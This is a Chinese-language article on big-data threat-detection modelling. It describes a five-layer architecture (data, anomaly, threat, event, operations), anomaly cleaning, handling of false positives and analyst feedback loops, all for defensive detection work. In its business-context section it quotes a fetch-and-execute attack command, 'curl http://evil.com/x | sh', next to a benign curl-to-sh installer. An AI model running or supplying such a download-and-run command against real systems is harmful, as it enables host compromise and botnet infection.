大数据威胁建模方法论
[Data Science for Cyber Security]
威胁建模方法
威胁建模本质上是一个自动化从数据中提取信息的过程。从各组件的可复用性和价值进行考虑,将完整的威胁检测模型解耦成五层进行介绍。数据在各层之间按顺序传递,完成从原始数据到上层知识的冶炼。
- 数据层:负责原始数据的采集、清洗,保证数据的稳定性与可用性,"数据基础决定上层建筑"
- 异常层:清洗掉系统内部的正常行为,为数据降噪,在不损失有价值信息的前提下降低后续步骤的分析成本
- 威胁层:从异常中识别威胁,产出IoA/IoC
- 事件层:从入侵事件维度聚合IoA/IoC、异常信息、威胁情报等标注数据,降低运营人员hunting成本
- 运营层:将安全运营人员对事件的运营结果反馈到模型内部,使模型能够"自我进化"
下文从这五个点展开,辅助理解每层的职责和价值,同时穿插一些思考、观点和实践经验。
数据层
日志
如何选择日志
如上文所述,威胁建模是一个从数据中提取信息的过程。在这个过程中,黑客的对抗手段主要有以下两点:
- 通过加密混淆手段增加信息熵,从而增加信息提取成本。
- 通过黑盒fuzz、白盒规则审计等手段寻找威胁检测模型的鲁棒性,使其特征失效。
由于一切恶意代码都要执行,所以在其污染系统的链路中必然有一环是透明的,找到这个点,对入侵行为进行"降维打击":
- WEB代码执行payload可以在HTTP流量中混淆,但对于php/java必然是透明的(RASP相对WAF的优势)。
- WEB命令执行payload可以在HTTP流量中混淆,但对于主机层shell/ps/cmd必然是透明的(HIDS相对NIDS的优势)。
- Malware领域存在丰富的对抗,但其执行过程产生的System API Call是有迹可循的《APTShield: A Fine-grained Detection System for Remote Access Trojan in the APT Attacks》。
数据采集建议:
- 审查入侵链路,找到"透明点"
- 倾向于黑客不可篡改的数据
- 多埋点,使特征丰富,增加对抗成本
- "行为"数据比"状态"数据更有价值
异常层
异常与威胁的关系
大数据安全的实践者应能明确认识到异常与威胁的关联和区别。在此我认同的观点是:
- 威胁是异常的子集
其一,支持威胁检测模型能够建立在异常数据清洗结果之上。
其二,异常不等于威胁、异常检测的结果存在大量噪音,大部分场景下不可直接作为告警输出。
异常数据清洗的价值
过滤冗余信息
成本与性能——是人工智能/大数据环境下我们共同面对的问题,攻防本质即成本博弈,而在云计算的体量下,复杂模型(机器学习/深度学习)常因成本问题而束手束脚,有时甚至上线一条"规则"也需三思后行。
在此场景下,对「数据降噪」的需求应运而生,我们需要在不损失威胁信息的前提下,尽可能用简单方法先洗掉杂质,为后面的复杂模型节约计算成本——此即「异常数据清洗」的价值。
通常情况下我们将对数据的信息提取过程,拆分成多个步骤。并评估每个步骤的计算成本和清洗效果,将计算成本低且能滤除大量数据的步骤置于模型底层,逐步构建完整的数据分析模型。
一些实践建议:
- 将多流join操作置于所有单流reduce之后
- 避免重复计算,必要时用存储成本替换重复reduce的计算成本
- 避免笛卡尔积,必要时将加入「时间窗口」作为join的key进行关联
理解业务
"理解业务"是异常数据清洗的第二点落地价值。
许多安全产品希望使用一种通用模式来满足用户大量差异化业务下的安全需求,并在实践中遇到问题——不同业务的「威胁边界」不一致导致的误报、误拦难以优化,即:
- 同样一个payload/文本/函数入参/数据,对A系统来说是攻击,而对B系统来说却是正常业务。
case 1:批量入侵/抓鸡/botnet的攻击行为中,常见的一种「one-shot」攻击payload,即将要执行的命令写到某URL,然后利用命令执行漏洞将该脚本下载到本地执行,即:
curl http://evil.com/x | sh
同时,这种通过curl+sh安装应用的场景也很常见:
curl https://raw.githubusercontent.com/creationix/nvm/v0.8.0/install.sh | sh
case 2:某客户有A、B两台机器,其中主机A为开放在公网的服务,在接收外部请求的同时,主机A会将该请求转发到日志分析系统B,如下图所示:
同一种攻击payload,因出现位置不同而地位不同。在这个场景下我们应对第一条数据视为攻击拦截,第二条数据视为正常业务放通。单纯依靠文本特征已经无法定性这两条请求的意图,需要引入其他维度特征——历史行为/上下文。
针对A向B传输的数据,可以利用异常检测的思路,通过学习历史数据来理解当下特殊的业务场景,并告诉模型的下一层:这玩意以前经常出现,是正常的。
"Gartner Magic Quadrant for Web Application Firewalls" 领导者象限之一的 IMPREVA 已经将这种思路应用到商业化产品中——Imperva SecureSphere。
其在Blog中阐释了安全产品「理解业务」的需求:
Because web applications are unique, they have distinct structures and dynamics, and – unfortunately – different vulnerabilities. A web application security device, therefore, must understand the structure and usage of the protected applications.
该产品需采集一段时间内的可信访问数据,并使用机器学习模型来学习系统行为,为系统生成一份定制化profile并自动更新之,使WAF的阻断功能能够适应用户的差异化业务场景。
这里看到两个点:
- 安全产品「理解业务」的重要性。
- 在此产品中,机器学习发力点在「系统画像」(原文为: Dynamic Profiling),而非直接面对海量HTTP流量做「文本分类」,关于机器学习落地之困以后或单开一篇。
威胁层
从异常到威胁
直接将异常层的产出作为告警,运营人员难免会被海量告警淹没。威胁层的作用在于把异常数据进一步打标为威胁,产出准确的告警,如:
- 异常登录->暴力破解成功
- 异常HTTP通信->WEB攻击->成功的WEB攻击
- 异常指令序列->挖矿木马植入
- 脚本文件落盘->webshell植入
从异常到威胁的计算过程的实践包括但不限于:
- 规则打标
- 行为分析
- 关联分析
- 关系推理
- 序列特征提取
- 机器学习
信息穿透
- 网络入侵——恶意信息穿透可信边界,抵达系统内部。
在这个Drupal RCE的案例中,我们可以看到恶意信息(curl命令)穿透可信边界(WEB服务)抵达系统内部(主机进程)的过程:
我们可以抓住「信息穿透」这一特征来检测入侵事件,在《从数据视角探索安全威胁》这个talk里我给出了此思路在RCE、注入、文件上传、SSRF、webshell通信等场景的入侵检测实践。
事件层
马赛克调查墙
在影视剧里经常会出现那种将照片、剪报等资料钉在墙上,然后用线连起来的方式来分析资料。这种分析方式是基于马赛克理论 Mosaic theory (该理论用于金融分析和情报分析)的马赛克调查墙 Mosaic Investigation wall。
入侵场景下的事件调查需求与情报分析类似(Sqrrl、STIX、Cybox)。服务器出现安全告警,安全运营人员如何排查入侵原因、确定黑客背景、移动轨迹、判定资损?这个过程需要哪些数据支撑?哪些流程可以自动化实现,以加速hunting过程?
「事件层」用于汇聚多方数据,构建关系图谱,辅助入侵事件调查 & hunting 过程。
多种异构数据的聚合与展示是事件层要解的问题。这里我们需要一套新的底层数据结构、一套尽可能自动化的资源聚合方法论,以及一个可视化的工作台——与知识图谱的构建过程相似。
威胁情报可视化
- www.threatcrowd.org
- x.threatbook.cn
- www.virustotal.com
不止于外部威胁情报
入侵事件调查/hunting过程所需的日志不止于上述威胁情报的K-V型关系数据和类似IP-Domain的映射数据,还有很多异构的原始日志,如:
- 安全告警(事件调查大多是从告警触发的)
- 主机异常(攻击时间点前后出现的异常访问、服务监控基线的异常等)
- 服务原始日志(登录日志、通讯流量、主机侧各种日志)
而从这些日志中提取出来的"实体"不止于"文件"、"主机"、"域名"、"邮箱",至少还应有:
- 服务信息
- 告警类型
- 主机用户
- 恶意进程PID
- 文件路径
- 命令名称
- AK
- 人员ID
- 业务线ID
最终形态:
- 多种异构日志的导入、自动化关联与持续集成。
- 可视化工作台,可以支持"时间线"与"关系图"两种方式进行事件调查。
- 亮点在关联分析逻辑,打破简单的IP=IP/Domain=Domain,应用算法让数据讲故事。
运营层
难以消灭的误报
威胁检测类模型通过人工运营检验之后,其结果会坍缩为两种:确认威胁、确认非威胁,类似一个二分类。运营结果可用于检验模型的有效性,即产生我们常见的"检测率"、"误报率"。
模型的误报可以被降低,但很难消灭。事实上检测率与误报率类似机器学习中的ROC曲线,而「运营资源」是决定如何平衡二者的关键。
某些企业有较强的安全运营能力,其目标是"宁可错杀一千,不能放过一个",可以接受直接对一些"异常"模型的粗粒度打标结果进行人工调查;而某些个人用户和中小企业运营资源和安全能力有限,只在业务受到影响时才会关注是否被入侵,该群体的需求大多是希望告警准确、可解释性强。
在威胁感知建模链路中,即使异常层已经学习了业务的历史特征,一定程度上适应了业务的独特性,但仍有部分场景是必须要人工调查才能判定是否被入侵。
如:服务器异常登录:某次登录的IP、地域、设备指纹、登录后的行为序列都与之前差异较大。但这并不表示服务器一定被入侵。
此外,在我们的威胁检测模型作为产品开放给其他用户,或交付内部安全运营团队时。对运营人员来讲,模型是一个黑盒子,当运营人员将某个告警标记为"误报"时,模型应该能够学习到这次"误报",并在接下来的告警推送中对此类问题自动化处理(降级或者丢进垃圾箱)。
因此,我们需要一套机制来采集运营人员提供的宝贵反馈信息,并通过自动化迭代的方式让模型能够适应更多场景。
将人工运营结果反馈到模型
在本文所述的五层架构中,运营层结果可以对2-4层的计算逻辑提供有效反馈。
- 反馈事件层:以白名单的形式加到模型链路出口,对输出的数据进行过滤。
- 反馈威胁层:以负样本的形式反馈到监督模型,或人工修正模型关联逻辑,或在关联分析中对一些聚合后的日志进行规则加白。
- 反馈异常层:将反馈的误报case前置的异常层结果打标为"正常行为",加入负样本迭代异常算法,并适当加大这种行为的生命周期。
反馈到异常层和威胁层将会在一定程度上改变模型整体性能,会使"误报"具有泛化能力,需要谨慎处理。